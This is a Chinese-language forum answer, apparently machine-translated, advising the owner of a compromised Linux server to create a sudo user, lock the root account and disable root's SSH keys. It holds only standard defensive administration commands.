你的系统被入侵了。您有一个运行历史日志,在某种程度上查看它可能很酷。但老实说,剖析细节有点挑剔,不会帮助您保护服务器。它显示了僵尸网络产生的恶意软件(最有可能是感染您的服务器的恶意软件)感染 Linux 系统时发生的各种胡说八道。@MariusMatutiae 提供答案很好,而且经过深思熟虑,还有其他人重复说您是通过root访问权限被黑客入侵的,这是恶意软件/僵尸网络的梦想。

关于如何禁用有一些解释,root但我将从个人经验中说明,大多数超出我现在描述的内容都是矫枉过正的。这是您第一次设置服务器时应该做的:

  1. 创建具有sudo权限的新用户:使用新名称创建新用户 - 类似于cooldude- 使用命令,就像sudo adduser cooldude您使用的是 Ubuntu 或其他类型的 Debian 系统一样。然后只需sudo使用这样的命令手动编辑文件,sudo nano /etc/sudoerscooldude ALL=(ALL:ALL) ALL在应读取的等效行下方添加类似的行root ALL=(ALL:ALL) ALL。完成后,登录cooldudesudo使用类似的命令测试命令 - 一些sudo w基本且非破坏性的 - 以查看sudo权限是否有效。可能会提示您输入密码。那个有效?都好!进入下一步。
  2. 锁定root账户:好的,现在cooldude负责sudo权限,登录cooldude并运行此命令锁定root帐户sudo passwd -l root。如果您以某种方式为 建立了 SSH 密钥对root,请打开/root/.ssh/authorized_keys并删除这些密钥。或者更好的是,只需authorized_keys_OFF像这样重命名该文件,sudo mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_OFF即可有效禁用 SSH 密钥。我更喜欢后者,因为在偶然的情况下,您仍然需要无密码登录,您可以将该文件移回原始名称,您应该很高兴。

FWIW,多年来(几十年?)我管理了数十台 Linux 服务器,并且从经验中知道,简单地禁用root——并设置一个具有sudo权限的新用户——是保护任何 Linux 系统的最简单和最基本的方法。一旦root禁用,我就不必通过 SSH 处理任何类型的妥协。是的,您可能会看到尝试通过 登录,auth.log但它们毫无意义;如果root被禁用,那么这些尝试将永远不会有任何结果。只是坐下来看着尝试无休止地失败!